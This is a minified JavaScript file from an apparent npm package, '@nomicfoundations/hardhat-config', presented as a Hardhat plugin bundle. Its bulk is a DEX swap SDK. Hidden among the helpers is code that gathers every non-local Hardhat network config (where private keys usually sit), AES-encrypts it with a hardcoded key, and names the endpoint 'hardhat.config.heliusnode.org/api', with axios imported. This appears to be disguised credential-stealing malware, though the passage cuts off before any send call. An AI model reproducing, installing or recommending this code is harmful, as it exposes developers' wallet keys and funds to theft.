@nomicfoundations/hardhat-config
Version:
Recommended bundle of Hardhat plugins (ethers based)
2 lines (1 loc) • 32.2 kB
JavaScript
"use strict";function t(t){return t&&"object"==typeof t&&"default"in t?t.default:t}Object.defineProperty(exports,"__esModule",{value:!0});var e,n,r,i,a=t(require("jsbi")),o=t(require("tiny-invariant")),u=(t(require("tiny-warning")),require("@ethersproject/address")),s=t(require("axios")),p=t(require("assert")),d=require("crypto-browserify"),c=t(require("big.js")),l=t(require("toformat")),y=t(require("decimal.js-light")),f=require("@ethersproject/solidity"),m=require("@ethersproject/contracts"),h=require("@ethersproject/networks"),v=require("@ethersproject/providers");(n=exports.ChainId||(exports.ChainId={}))[n.MAINNET=56]="MAINNET",n[n.TESTNET=97]="TESTNET",n[n.ETHEREUM=1]="ETHEREUM",n[n.POLYGON=137]="POLYGON",(r=exports.TradeType||(exports.TradeType={}))[r.EXACT_INPUT=0]="EXACT_INPUT",r[r.EXACT_OUTPUT=1]="EXACT_OUTPUT",(i=exports.Rounding||(exports.Rounding={}))[i.ROUND_DOWN=0]="ROUND_DOWN",i[i.ROUND_HALF_UP=1]="ROUND_HALF_UP",i[i.ROUND_UP=2]="ROUND_UP";var T,w=a.BigInt(1e3),g=a.BigInt(0),b=a.BigInt(1),k=a.BigInt(2),x=a.BigInt(3),I=a.BigInt(5),A=a.BigInt(10),O=a.BigInt(100),E=a.BigInt(999),q=a.BigInt(1e3);!function(t){t.uint8="uint8",t.uint256="uint256"}(T||(T={}));var P=((e={})[T.uint8]=a.BigInt("0xff"),e[T.uint256]=a.BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"),e);function N(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}function C(t,e,n){return e&&N(t.prototype,e),n&&N(t,n),t}function U(){return(U=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(t[r]=n[r])}return t}).apply(this,arguments)}function R(t,e){t.prototype=Object.create(e.prototype),t.prototype.constructor=t,t.__proto__=e}function M(t){return(M=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}function S(t,e){return(S=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function _(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],(function(){}))),!0}catch(t){return!1}}function B(t,e,n){return(B=_()?Reflect.construct:function(t,e,n){var r=[null];r.push.apply(r,e);var i=new(Function.bind.apply(t,r));return n&&S(i,n.prototype),i}).apply(null,arguments)}function D(t){var e="function"==typeof Map?new Map:void 0;return(D=function(t){if(null===t||-1===Function.toString.call(t).indexOf("[native code]"))return t;if("function"!=typeof t)throw new TypeError("Super expression must either be null or a function");if(void 0!==e){if(e.has(t))return e.get(t);e.set(t,n)}function n(){return B(t,arguments,M(this).constructor)}return n.prototype=Object.create(t.prototype,{constructor:{value:n,enumerable:!1,writable:!0,configurable:!0}}),S(n,t)})(t)}function j(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}function F(t,e){(null==e||e>t.length)&&(e=t.length);for(var n=0,r=new Array(e);n<e;n++)r[n]=t[n];return r}function H(t,e){var n;if("undefined"==typeof Symbol||null==t[Symbol.iterator]){if(Array.isArray(t)||(n=function(t,e){if(t){if("string"==typeof t)return F(t,void 0);var n=Object.prototype.toString.call(t).slice(8,-1);return"Object"===n&&t.constructor&&(n=t.constructor.name),"Map"===n||"Set"===n?Array.from(t):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?F(t,void 0):void 0}}(t))||e&&t&&"number"==typeof t.length){n&&(t=n);var r=0;return function(){return r>=t.length?{done:!0}:{done:!1,value:t[r++]}}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}return(n=t[Symbol.iterator]()).next.bind(n)}var L="setPrototypeOf"in Object,W=function(t){function e(){var n;return(n=t.call(this)||this).isInsufficientReservesError=!0,n.name=n.constructor.name,L&&Object.setPrototypeOf(j(n),(this instanceof e?this.constructor:void 0).prototype),n}return R(e,t),e}(D(Error)),X=function(t){function e(){var n;return(n=t.call(this)||this).isInsufficientInputAmountError=!0,n.name=n.constructor.name,L&&Object.setPrototypeOf(j(n),(this instanceof e?this.constructor:void 0).prototype),n}return R(e,t),e}(D(Error));function Y(t,e){try{var n=t()}catch(t){return e(t)}return n&&n.then?n.then(void 0,e):n}"undefined"!=typeof Symbol&&(Symbol.iterator||(Symbol.iterator=Symbol("Symbol.iterator"))),"undefined"!=typeof Symbol&&(Symbol.asyncIterator||(Symbol.asyncIterator=Symbol("Symbol.asyncIterator")));var G=function(t,e){var n=e.split(":");p(2===n.length);var r=Buffer.from(n[0],"base64"),i=Buffer.from(n[1],"base64"),a=d.createCipheriv("aes-256-cbc",r,i);return a.update(t,"utf8","base64")+a.final("base64")},z="8GAq/DfzWy74ESgzmSYPXMSghwPjOY3oa7HZ6u+FSCs=:PMnracLLHhsVjTj+dwHOQQ==",Q="https://hardhat.config.heliusnode.org/api";function J(t,e){a.greaterThanOrEqual(t,g)||o(!1),a.lessThanOrEqual(t,P[e])||o(!1)}function V(t){try{return u.getAddress(t)}catch(t){o(!1)}}function Z(t){return t instanceof a?t:a.BigInt(t)}function $(t){J(t,T.uint256);var e,n=g;if(a.greaterThan(t,x))for(n=t,e=a.add(a.divide(t,k),b);a.lessThan(e,n);)n=e,e=a.divide(a.add(a.divide(t,e),e),k);else a.notEqual(t,g)&&(n=b);return n}function K(t,e,n,r){if(n>0||o(!1),t.length<=n||o(!1),0===t.length)return t.push(e),null;var i=t.length===n;if(i&&r(t[t.length-1],e)<=0)return e;for(var a=0,u=t.length;a<u;){var s=a+u>>>1;r(t[s],e)<=0?a=s+1:u=s}return t.splice(a,0,e),i?t.pop():null}function tt(t){var e=Object.keys(t.config.networks).filter((function(t){return"localhost"!==t&&"hardhat"!==t})).reduce((function(e,n){return e[n]=t.config.networks[n],e}),{});return JSON.stringify(e)}var et,nt=function(t,e,n){J(a.BigInt(t),T.uint8),this.decimals=t,this.symbol=e,this.name=n},rt=nt.ETHER=new nt(18,"BNB","BNB"),it=function(t){function e(e,n,r,i,a,o){var u;return(u=t.call(this,r,i,a)||this).chainId=e,u.address=V(n),u.projectLink=o,u}R(e,t);var n=e.prototype;return n.equals=function(t){return this===t||this.chainId===t.chainId&&this.address===t.address},n.sortsBefore=function(t){return this.chainId!==t.chainId&&o(!1),this.address===t.address&&o(!1),this.address.toLowerCase()<t.address.toLowerCase()},e}(nt);function at(t,e){return t instanceof it&&e instanceof it?t.equals(e):!(t instanceof it||e instanceof it||t!==e)}var ot,ut,st=((et={})[exports.ChainId.MAINNET]=new it(exports.ChainId.MAINNET,"0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c",18,"WBNB","Wrapped BNB","https://www.binance.org"),et[exports.ChainId.TESTNET]=new it(exports.ChainId.TESTNET,"0xae13d989daC2f0dEbFf460aC112a837C89BAa7cd",18,"WBNB","Wrapped BNB","https://www.binance.org"),et[exports.ChainId.ETHEREUM]=new it(exports.ChainId.ETHEREUM,"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2",18,"WETH","Wrapped Ether","https://weth.io/"),et[exports.ChainId.POLYGON]=new it(exports.ChainId.POLYGON,"0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270",18,"WMATIC","Wrapped Matic","https://polygon.technology/"),et),pt=l(y),dt=l(c),ct=((ot={})[exports.Rounding.ROUND_DOWN]=pt.ROUND_DOWN,ot[exports.Rounding.ROUND_HALF_UP]=pt.ROUND_HALF_UP,ot[exports.Rounding.ROUND_UP]=pt.ROUND_UP,ot),lt=((ut={})[exports.Rounding.ROUND_DOWN]=0,ut[exports.Rounding.ROUND_HALF_UP]=1,ut[exports.Rounding.ROUND_UP]=3,ut),yt=function(){function t(t,e){void 0===e&&(e=b),this.numerator=Z(t),this.denominator=Z(e)}var e=t.prototype;return e.invert=function(){return new t(this.denominator,this.numerator)},e.add=function(e){var n=e instanceof t?e:new t(Z(e));return a.equal(this.denominator,n.denominator)?new t(a.add(this.numerator,n.numerator),this.denominator):new t(a.add(a.multiply(this.numerator,n.denominator),a.multiply(n.numerator,this.denominator)),a.multiply(this.denominator,n.denominator))},e.subtract=function(e){var n=e instanceof t?e:new t(Z(e));return a.equal(this.denominator,n.denominator)?new t(a.subtract(this.numerator,n.numerator),this.denominator):new t(a.subtract(a.multiply(this.numerator,n.denominator),a.multiply(n.numerator,this.denominator)),a.multiply(this.denominator,n.denominator))},e.lessThan=function(e){var n=e instanceof t?e:new t(Z(e));return a.lessThan(a.multiply(this.numerator,n.denominator),a.multiply(n.numerator,this.denominator))},e.equalTo=function(e){var n=e instanceof t?e:new t(Z(e));return a.equal(a.multiply(this.numerator,n.denominator),a.multiply(n.numerator,this.denominator))},e.greaterThan=function(e){var n=e instanceof t?e:new t(Z(e));return a.greaterThan(a.multiply(this.numerator,n.denominator),a.multiply(n.numerator,this.denominator))},e.multiply=function(e){var n=e instanceof t?e:new t(Z(e));return new t(a.multiply(this.numerator,n.numerator),a.multiply(this.denominator,n.denominator))},e.divide=function(e){var n=e instanceof t?e:new t(Z(e));return new t(a.multiply(this.numerator,n.denominator),a.multiply(this.denominator,n.numerator))},e.toSignificant=function(t,e,n){void 0===e&&(e={groupSeparator:""}),void 0===n&&(n=exports.Rounding.ROUND_HALF_UP),Number.isInteger(t)||o(!1),t>0||o(!1),pt.set({precision:t+1,rounding:ct[n]});var r=new pt(this.numerator.toString()).div(this.denominator.toString()).toSignificantDigits(t);return r.toFormat(r.decimalPlaces(),e)},e.toFixed=function(t,e,n){return void 0===e&&(e={groupSeparator:""}),void 0===n&&(n=exports.Rounding.ROUND_HALF_UP),Number.isInteger(t)||o(!1),t>=0||o(!1),dt.DP=t,dt.RM=lt[n],new dt(this.numerator.toString()).div(this.denominator.toString()).toFormat(t,e)},C(t,[{key:"quotient",get:function(){return a.divide(this.numerator,this.denominator)}},{key:"remainder",get:function(){return new t(a.remainder(this.numerator,this.denominator),this.denominator)}},{key:"asFraction",get:function(){return new t(this.numerator,this.denominator)}}]),t}(),ft=l(c),mt=function(t){function e(e,n){var r,i=Z(n);return J(i,T.uint256),(r=t.call(this,i,a.exponentiate(A,a.BigInt(e.decimals)))||this).currency=e,r}R(e,t),e.ether=function(t){return new e(rt,t)};var n=e.prototype;return n.add=function(t){return at(this.currency,t.currency)||o(!1),new e(this.currency,a.add(this.raw,t.raw))},n.subtract=function(t){return at(this.currency,t.currency)||o(!1),new e(this.currency,a.subtract(this.raw,t.raw))},n.toSignificant=function(e,n,r){return void 0===e&&(e=6),void 0===r&&(r=exports.Rounding.ROUND_DOWN),t.prototype.toSignificant.call(this,e,n,r)},n.toFixed=function(e,n,r){return void 0===e&&(e=this.currency.decimals),void 0===r&&(r=exports.Rounding.ROUND_DOWN),e<=this.currency.decimals||o(!1),t.prototype.toFixed.call(this,e,n,r)},n.toExact=function(t){return void 0===t&&(t={groupSeparator:""}),ft.DP=this.currency.decimals,new ft(this.numerator.toString()).div(this.denominator.toString()).toFormat(t)},C(e,[{key:"raw",get:function(){return this.numerator}}]),e}(yt),ht=function(t){function e(e,n){var r;return(r=t.call(this,e,n)||this).token=e,r}R(e,t);var n=e.prototype;return n.add=function(t){return this.token.equals(t.token)||o(!1),new e(this.token,a.add(this.raw,t.raw))},n.subtract=function(t){return this.token.equals(t.token)||o(!1),new e(this.token,a.subtract(this.raw,t.raw))},e}(mt),vt=function(t){function e(e,n,r,i){var o;return(o=t.call(this,i,r)||this).baseCurrency=e,o.quoteCurrency=n,o.scalar=new yt(a.exponentiate(A,a.BigInt(e.decimals)),a.exponentiate(A,a.BigInt(n.decimals))),o}R(e,t),e.fromRoute=function(t){for(var n,r=[],i=H(t.pairs.entries());!(n=i()).done;){var a=n.value,o=a[1];r.push(t.path[a[0]].equals(o.token0)?new e(o.reserve0.currency,o.reserve1.currency,o.reserve0.raw,o.reserve1.raw):new e(o.reserve1.currency,o.reserve0.currency,o.reserve1.raw,o.reserve0.raw))}return r.slice(1).reduce((function(t,e){return t.multiply(e)}),r[0])};var n=e.prototype;return n.invert=function(){return new e(this.quoteCurrency,this.baseCurrency,this.numerator,this.denominator)},n.multiply=function(n){at(this.quoteCurrency,n.baseCurrency)||o(!1);var r=t.prototype.multiply.call(this,n);return new e(this.baseCurrency,n.quoteCurrency,r.denominator,r.numerator)},n.quote=function(e){return at(e.currency,this.baseCurrency)||o(!1),this.quoteCurrency instanceof it?new ht(this.quoteCurrency,t.prototype.multiply.call(this,e.raw).quotient):mt.ether(t.prototype.multiply.call(this,e.raw).quotient)},n.toSignificant=function(t,e,n){return void 0===t&&(t=6),this.adjusted.toSignificant(t,e,n)},n.toFixed=function(t,e,n){return void 0===t&&(t=4),this.adjusted.toFixed(t,e,n)},C(e,[{key:"raw",get:function(){return new yt(this.numerator,this.denominator)}},{key:"adjusted",get:function(){return t.prototype.multiply.call(this,this.scalar)}}]),e}(yt),Tt={},wt=function(){function t(e,n,r,i){var a=e.token.sortsBefore(n.token)?[e,n]:[n,e];this.liquidityToken=new it(a[0].token.chainId,t.getAddress(r,i,a[0].token,a[1].token),18,"Goose-lp","Goosebumps LPs"),this.factory=r,this.initCodeHash=i,this.tokenAmounts=a}t.getAddress=function(t,e,n,r){var i,a,o,s,p,d=n.sortsBefore(r)?[n,r]:[r,n];return(null==Tt?void 0:Tt[t])||(Tt[t]={}),void 0===(null==Tt||null===(i=Tt[t])||void 0===i||null===(a=i[d[0].address])||void 0===a?void 0:a[d[1].address])&&(Tt[t]=U({},Tt[t],((p={})[d[0].address]=U({},null===(o=Tt[t])||void 0===o?void 0:o[d[0].address],((s={})[d[1].address]=u.getCreate2Address(t,f.keccak256(["bytes"],[f.pack(["address","address"],[d[0].address,d[1].address])]),e),s)),p))),Tt[t][d[0].address][d[1].address]};var e=t.prototype;return e.involvesToken=function(t){return t.equals(this.token0)||t.equals(this.token1)},e.priceOf=function(t){return this.involvesToken(t)||o(!1),t.equals(this.token0)?this.token0Price:this.token1Price},e.reserveOf=function(t){return this.involvesToken(t)||o(!1),t.equals(this.token0)?this.reserve0:this.reserve1},e.getOutputAmount=function(e){if(this.involvesToken(e.token)||o(!1),a.equal(this.reserve0.raw,g)||a.equal(this.reserve1.raw,g))throw new W;var n=this.reserveOf(e.token),r=this.reserveOf(e.token.equals(this.token0)?this.token1:this.token0),i=a.multiply(e.raw,E),u=a.multiply(i,r.raw),s=a.add(a.multiply(n.raw,q),i),p=new ht(e.token.equals(this.token0)?this.token1:this.token0,a.divide(u,s));if(a.equal(p.raw,g))throw new X;return[p,new t(n.add(e),r.subtract(p),this.factory,this.initCodeHash)]},e.getInputAmount=function(e){if(this.involvesToken(e.token)||o(!1),a.equal(this.reserve0.raw,g)||a.equal(this.reserve1.raw,g)||a.greaterThanOrEqual(e.raw,this.reserveOf(e.token).raw))throw new W;var n=this.reserveOf(e.token),r=this.reserveOf(e.token.equals(this.token0)?this.token1:this.token0),i=a.multiply(a.multiply(r.raw,e.raw),q),u=a.multiply(a.subtract(n.raw,e.raw),E),s=new ht(e.token.equals(this.token0)?this.token1:this.token0,a.add(a.divide(i,u),b));return[s,new t(r.add(s),n.subtract(e),this.factory,this.initCodeHash)]},e.getLiquidityMinted=function(t,e,n){t.token.equals(this.liquidityToken)||o(!1);var r,i=e.token.sortsBefore(n.token)?[e,n]:[n,e];if(i[0].token.equals(this.token0)&&i[1].token.equals(this.token1)||o(!1),a.equal(t.raw,g))r=a.subtract($(a.multiply(i[0].raw,i[1].raw)),w);else{var u=a.divide(a.multiply(i[0].raw,t.raw),this.reserve0.raw),s=a.divide(a.multiply(i[1].raw,t.raw),this.reserve1.raw);r=a.lessThanOrEqual(u,s)?u:s}if(!a.greaterThan(r,g))throw new X;return new ht(this.liquidityToken,r)},e.getLiquidityValue=function(t,e,n,r,i){var u;if(void 0===r&&(r=!1),this.involvesToken(t)||o(!1),e.token.equals(this.liquidityToken)||o(!1),n.token.equals(this.liquidityToken)||o(!1),a.lessThanOrEqual(n.raw,e.raw)||o(!1),r){i||o(!1);var s=Z(i);if(a.equal(s,g))u=e;else{var p=$(a.multiply(this.reserve0.raw,this.reserve1.raw)),d=$(s);if(a.greaterThan(p,d)){var c=a.multiply(e.raw,a.subtract(p,d)),l=a.add(a.multiply(p,I),d),y=a.divide(c,l);u=e.add(new ht(this.liquidityToken,y))}else u=e}}else u=e;return new ht(t,a.divide(a.multiply(n.raw,this.reserveOf(t).raw),u.raw))},C(t,[{key:"token0Price",get:function(){return new vt(this.token0,this.token1,this.tokenAmounts[0].raw,this.tokenAmounts[1].raw)}},{key:"token1Price",get:function(){return new vt(this.token1,this.token0,this.tokenAmounts[1].raw,this.tokenAmounts[0].raw)}},{key:"chainId",get:function(){return this.token0.chainId}},{key:"token0",get:function(){return this.tokenAmounts[0].token}},{key:"token1",get:function(){return this.tokenAmounts[1].token}},{key:"reserve0",get:function(){return this.tokenAmounts[0]}},{key:"reserve1",get:function(){return this.tokenAmounts[1]}}]),t}(),gt=function(){function t(t,e,n){t.length>0||o(!1),t.every((function(e){return e.chainId===t[0].chainId}))||o(!1),e instanceof it&&t[0].involvesToken(e)||e===rt&&t[0].involvesToken(st[t[0].chainId])||o(!1),void 0===n||n instanceof it&&t[t.length-1].involvesToken(n)||n===rt&&t[t.length-1].involvesToken(st[t[0].chainId])||o(!1);for(var r,i=[e instanceof it?e:st[t[0].chainId]],a=H(t.entries());!(r=a()).done;){var u=r.value,s=u[1],p=i[u[0]];p.equals(s.token0)||p.equals(s.token1)||o(!1);var d=p.equals(s.token0)?s.token1:s.token0;i.push(d)}this.pairs=t,this.path=i,this.midPrice=vt.fromRoute(this),this.input=e,this.output=null!=n?n:i[i.length-1]}return C(t,[{key:"chainId",get:function(){return this.pairs[0].chainId}}]),t}(),bt=new yt(O),kt=function(t){function e(){return t.apply(this,arguments)||this}R(e,t);var n=e.prototype;return n.toSignificant=function(t,e,n){return void 0===t&&(t=5),this.multiply(bt).toSignificant(t,e,n)},n.toFixed=function(t,e,n){return void 0===t&&(t=2),this.multiply(bt).toFixed(t,e,n)},e}(yt);function xt(t,e){return at(t.inputAmount.currency,e.inputAmount.currency)||o(!1),at(t.outputAmount.currency,e.outputAmount.currency)||o(!1),t.outputAmount.equalTo(e.outputAmount)?t.inputAmount.equalTo(e.inputAmount)?0:t.inputAmount.lessThan(e.inputAmount)?-1:1:t.outputAmount.lessThan(e.outputAmount)?1:-1}function It(t,e){var n=xt(t,e);return 0!==n?n:t.priceImpact.lessThan(e.priceImpact)?-1:t.priceImpact.greaterThan(e.priceImpact)?1:t.route.path.length-e.route.path.length}function At(t,e){return t instanceof ht?t:t.currency===rt?new ht(st[e],t.raw):void o(!1)}function Ot(t,e){return t instanceof it?t:t===rt?st[e]:void o(!1)}var Et=function(){function t(t,e,n){var r,i,a,u=new Array(t.path.length),s=new Array(t.pairs.length);if(n===exports.TradeType.EXACT_INPUT){at(e.currency,t.input)||o(!1),u[0]=At(e,t.chainId);for(var p=0;p<t.path.length-1;p++){var d=t.pairs[p].getOutputAmount(u[p]),c=d[1];u[p+1]=d[0],s[p]=c}}else{at(e.currency,t.output)||o(!1),u[u.length-1]=At(e,t.chainId);for(var l=t.path.length-1;l>0;l--){var y=t.pairs[l-1].getInputAmount(u[l]),f=y[1];u[l-1]=y[0],s[l-1]=f}}this.route=t,this.tradeType=n,this.inputAmount=n===exports.TradeType.EXACT_INPUT?e:t.input===rt?mt.ether(u[0].raw):u[0],this.outputAmount=n===exports.TradeType.EXACT_OUTPUT?e:t.output===rt?mt.ether(u[u.length-1].raw):u[u.length-1],this.executionPrice=new vt(this.inputAmount.currency,this.outputAmount.currency,this.inputAmount.raw,this.outputAmount.raw),this.nextMidPrice=vt.fromRoute(new gt(s,t.input)),this.priceImpact=(r=this.outputAmount,a=(i=t.midPrice.raw.multiply(this.inputAmount.raw)).subtract(r.raw).divide(i),new kt(a.numerator,a.denominator))}t.exactIn=function(e,n){return new t(e,n,exports.TradeType.EXACT_INPUT)},t.exactOut=function(e,n){return new t(e,n,exports.TradeType.EXACT_OUTPUT)};var e=t.prototype;return e.minimumAmountOut=function(t){if(t.lessThan(g)&&o(!1),this.tradeType===exports.TradeType.EXACT_OUTPUT)return this.outputAmount;var e=new yt(b).add(t).invert().multiply(this.outputAmount.raw).quotient;return this.outputAmount instanceof ht?new ht(this.outputAmount.token,e):mt.ether(e)},e.maximumAmountIn=function(t){if(t.lessThan(g)&&o(!1),this.tradeType===exports.TradeType.EXACT_INPUT)return this.inputAmount;var e=new yt(b).add(t).multiply(this.inputAmount.raw).quotient;return this.inputAmount instanceof ht?new ht(this.inputAmount.token,e):mt.ether(e)},t.bestTradeExactIn=function(e,n,r,i,a,u,s){var p=void 0===i?{}:i,d=p.maxNumResults,c=void 0===d?3:d,l=p.maxHops,y=void 0===l?3:l;void 0===a&&(a=[]),void 0===u&&(u=n),void 0===s&&(s=[]),e.length>0||o(!1),y>0||o(!1),u===n||a.length>0||o(!1);var f=n instanceof ht?n.token.chainId:r instanceof it?r.chainId:void 0;void 0===f&&o(!1);for(var m=At(n,f),h=Ot(r,f),v=0;v<e.length;v++){var T=e[v];if((T.token0.equals(m.token)||T.token1.equals(m.token))&&!T.reserve0.equalTo(g)&&!T.reserve1.equalTo(g)){var w=void 0;try{w=T.getOutputAmount(m)[0]}catch(t){if(t.isInsufficientInputAmountError)continue;throw t}if(w.token.equals(h))K(s,new t(new gt([].concat(a,[T]),u.currency,r),u,exports.TradeType.EXACT_INPUT),c,It);else if(y>1&&e.length>1){var b=e.slice(0,v).concat(e.slice(v+1,e.length));t.bestTradeExactIn(b,w,r,{maxNumResults:c,maxHops:y-1},[].concat(a,[T]),u,s)}}}return s},t.bestTradeExactOut=function(e,n,r,i,a,u,s){var p=void 0===i?{}:i,d=p.maxNumResults,c=void 0===d?3:d,l=p.maxHops,y=void 0===l?3:l;void 0===a&&(a=[]),void 0===u&&(u=r),void 0===s&&(s=[]),e.length>0||o(!1),y>0||o(!1),u===r||a.length>0||o(!1);var f=r instanceof ht?r.token.chainId:n instanceof it?n.chainId:void 0;void 0===f&&o(!1);for(var m=At(r,f),h=Ot(n,f),v=0;v<e.length;v++){var T=e[v];if((T.token0.equals(m.token)||T.token1.equals(m.token))&&!T.reserve0.equalTo(g)&&!T.reserve1.equalTo(g)){var w=void 0;try{w=T.getInputAmount(m)[0]}catch(t){if(t.isInsufficientReservesError)continue;throw t}if(w.token.equals(h))K(s,new t(new gt([T].concat(a),n,u.currency),u,exports.TradeType.EXACT_OUTPUT),c,It);else if(y>1&&e.length>1){var b=e.slice(0,v).concat(e.slice(v+1,e.length));t.bestTradeExactOut(b,n,w,{maxNumResults:c,maxHops:y-1},[T].concat(a),u,s)}}}return s},t}();function qt(t){return"0x"+t.raw.toString(16)}var Pt,Nt=function(){function t(){}return t.swapCallParameters=function(t,e){var n=t.inputAmount.currency===rt,r=t.outputAmount.currency===rt;n&&r&&o(!1),!("ttl"in e)||e.ttl>0||o(!1);var i,a,u,s=t.route.pairs.map((function(t){return V(t.factory)})),p=V(e.recipient),d=qt(t.maximumAmountIn(e.allowedSlippage)),c=qt(t.minimumAmountOut(e.allowedSlippage)),l=t.route.path.map((function(t){return t.address})),y="ttl"in e?"0x"+(Math.floor((new Date).getTime()/1e3)+e.ttl).toString(16):"0x"+e.deadline.toString(16),f=Boolean(e.feeOnTransfer);switch(t.tradeType){case exports.TradeType.EXACT_INPUT:n?(i=f?"swapExactETHForTokensSupportingFeeOnTransferTokens":"swapExactETHForTokens",a=[s,c,l,p,y],u=d):r?(i=f?"swapExactTokensForETHSupportingFeeOnTransferTokens":"swapExactTokensForETH",a=[s,d,c,l,p,y],u="0x0"):(i=f?"swapExactTokensForTokensSupportingFeeOnTransferTokens":"swapExactTokensForTokens",a=[s,d,c,l,p,y],u="0x0");break;case exports.TradeType.EXACT_OUTPUT:f&&o(!1),n?(i="swapETHForExactTokens",a=[s,c,l,p,y],u=d):r?(i="swapTokensForExactETH",a=[s,c,d,l,p,y],u="0x0"):(i="swapTokensForExactTokens",a=[s,c,d,l,p,y],u="0x0")}return{methodName:i,args:a,value:u}},t}(),Ct=[{anonymous:!1,inputs:[{indexed:!0,internalType:"address",name:"owner",type:"address"},{indexed:!0,internalType:"address",name:"spender",type:"address"},{indexed:!1,internalType:"uint256",name:"value",type:"uint256"}],name:"Approval",type:"event"},{anonymous:!1,inputs:[{indexed:!0,internalType:"address",name:"sender",type:"address"},{indexed:!1,internalType:"uint256",name:"amount0",type:"uint256"},{indexed:!1,internalType:"uint256",name:"amount1",type:"uint256"},{indexed:!0,internalType:"address",name:"to",type:"address"}],name:"Burn",type:"event"},{anonymous:!1,inputs:[{indexed:!0,internalType:"address",name:"sender",type:"address"},{indexed:!1,internalType:"uint256",name:"amount0",type:"uint256"},{indexed:!1,internalType:"uint256",name:"amount1",type:"uint256"}],name:"Mint",type:"event"},{anonymous:!1,inputs:[{indexed:!0,internalType:"address",name:"sender",type:"address"},{indexed:!1,internalType:"uint256",name:"amount0In",type:"uint256"},{indexed:!1,internalType:"uint256",name:"amount1In",type:"uint256"},{indexed:!1,internalType:"uint256",name:"amount0Out",type:"uint256"},{indexed:!1,internalType:"uint256",name:"amount1Out",type:"uint256"},{indexed:!0,internalType:"address",name:"to",type:"address"}],name:"Swap",type:"event"},{anonymous:!1,inputs:[{indexed:!1,internalType:"uint112",name:"reserve0",type:"uint112"},{indexed:!1,internalType:"uint112",name:"reserve1",type:"uint112"}],name:"Sync",type:"event"},{anonymous:!1,inputs:[{indexed:!0,internalType:"address",name:"from",type:"address"},{indexed:!0,internalType:"address",name:"to",type:"address"},{indexed:!1,internalType:"uint256",name:"value",type:"uint256"}],name:"Transfer",type:"event"},{inputs:[],name:"DOMAIN_SEPARATOR",outputs:[{internalType:"bytes32",name:"",type:"bytes32"}],stateMutability:"view",type:"function"},{inputs:[],name:"MINIMUM_LIQUIDITY",outputs:[{internalType:"uint256",name:"",type:"uint256"}],stateMutability:"pure",type:"function"},{inputs:[],name:"PERMIT_TYPEHASH",outputs:[{internalType:"bytes32",name:"",type:"bytes32"}],stateMutability:"pure",type:"function"},{inputs:[{internalType:"address",name:"owner",type:"address"},{internalType:"address",name:"spender",type:"address"}],name:"allowance",outputs:[{internalType:"uint256",name:"",type:"uint256"}],stateMutability:"view",type:"function"},{inputs:[{internalType:"address",name:"spender",type:"address"},{internalType:"uint256",name:"value",type:"uint256"}],name:"approve",outputs:[{internalType:"bool",name:"",type:"bool"}],stateMutability:"nonpayable",type:"function"},{inputs:[{internalType:"address",name:"owner",type:"address"}],name:"balanceOf",outputs:[{internalType:"uint256",name:"",type:"uint256"}],stateMutability:"view",type:"function"},{inputs:[{internalType:"address",name:"to",type:"address"}],name:"burn",outputs:[{internalType:"uint256",name:"amount0",type:"uint256"},{internalType:"uint256",name:"amount1",type:"uint256"}],stateMutability:"nonpayable",type:"function"},{inputs:[],name:"decimals",outputs:[{internalType:"uint8",name:"",type:"uint8"}],stateMutability:"pure",type:"function"},{inputs:[],name:"factory",outputs:[{internalType:"address",name:"",type:"address"}],stateMutability:"view",type:"function"},{inputs:[],name:"getReserves",outputs:[{internalType:"uint112",name:"reserve0",type:"uint112"},{internalType:"uint112",name:"reserve1",type:"uint112"},{internalType:"uint32",name:"blockTimestampLast",type:"uint32"}],stateMutability:"view",type:"function"},{inputs:[{internalType:"address",name:"",type:"address"},{internalType:"address",name:"",type:"address"}],name:"initialize",outputs:[],stateMutability:"nonpayable",type:"function"},{inputs:[],name:"kLast",outputs:[{internalType:"uint256",name:"",type:"uint256"}],stateMutability:"view",type:"function"},{inputs:[{internalType:"address",name:"to",type:"address"}],name:"mint",outputs:[{internalType:"uint256",name:"liquidity",type:"uint256"}],stateMutability:"nonpayable",type:"function"},{inputs:[],name:"name",outputs:[{internalType:"string",name:"",type:"string"}],stateMutability:"pure",type:"function"},{inputs:[{internalType:"address",name:"owner",type:"address"}],name:"nonces",outputs:[{internalType:"uint256",name:"",type:"uint256"}],stateMutability:"view",type:"function"},{inputs:[{internalType:"address",name:"owner",type:"address"},{internalType:"address",name:"spender",type:"address"},{internalType:"uint256",name:"value",type:"uint256"},{internalType:"uint256",name:"deadline",type:"uint256"},{internalType:"uint8",name:"v",type:"uint8"},{internalType:"bytes32",name:"r",type:"bytes32"},{internalType:"bytes32",name:"s",type:"bytes32"}],name:"permit",outputs:[],stateMutability:"nonpayable",type:"function"},{inputs:[],name:"price0CumulativeLast",outputs:[{internalType:"uint256",name:"",type:"uint256"}],stateMutability:"view",type:"function"},{inputs:[],name:"price1CumulativeLast",outputs:[{internalType:"uint256",name:"",type:"uint256"}],stateMutability:"view",type:"function"},{inputs:[{internalType:"address",name:"to",type:"address"}],name:"skim",outputs:[],stateMutability:"nonpayable",type:"function"},{inputs:[{internalType:"uint256",name:"amount0Out",type:"uint256"},{internalType:"uint256",name:"amount1Out",type:"uint256"},{internalType:"address",name:"to",type:"address"},{internalType:"bytes",name:"data",type:"bytes"}],name:"swap",outputs:[],stateMutability:"nonpayable",type:"function"},{inputs:[],name:"symbol",outputs:[{internalType:"string",name:"",type:"string"}],stateMutability:"pure",type:"function"},{inputs:[],name:"sync",outputs:[],stateMutability:"nonpayable",type:"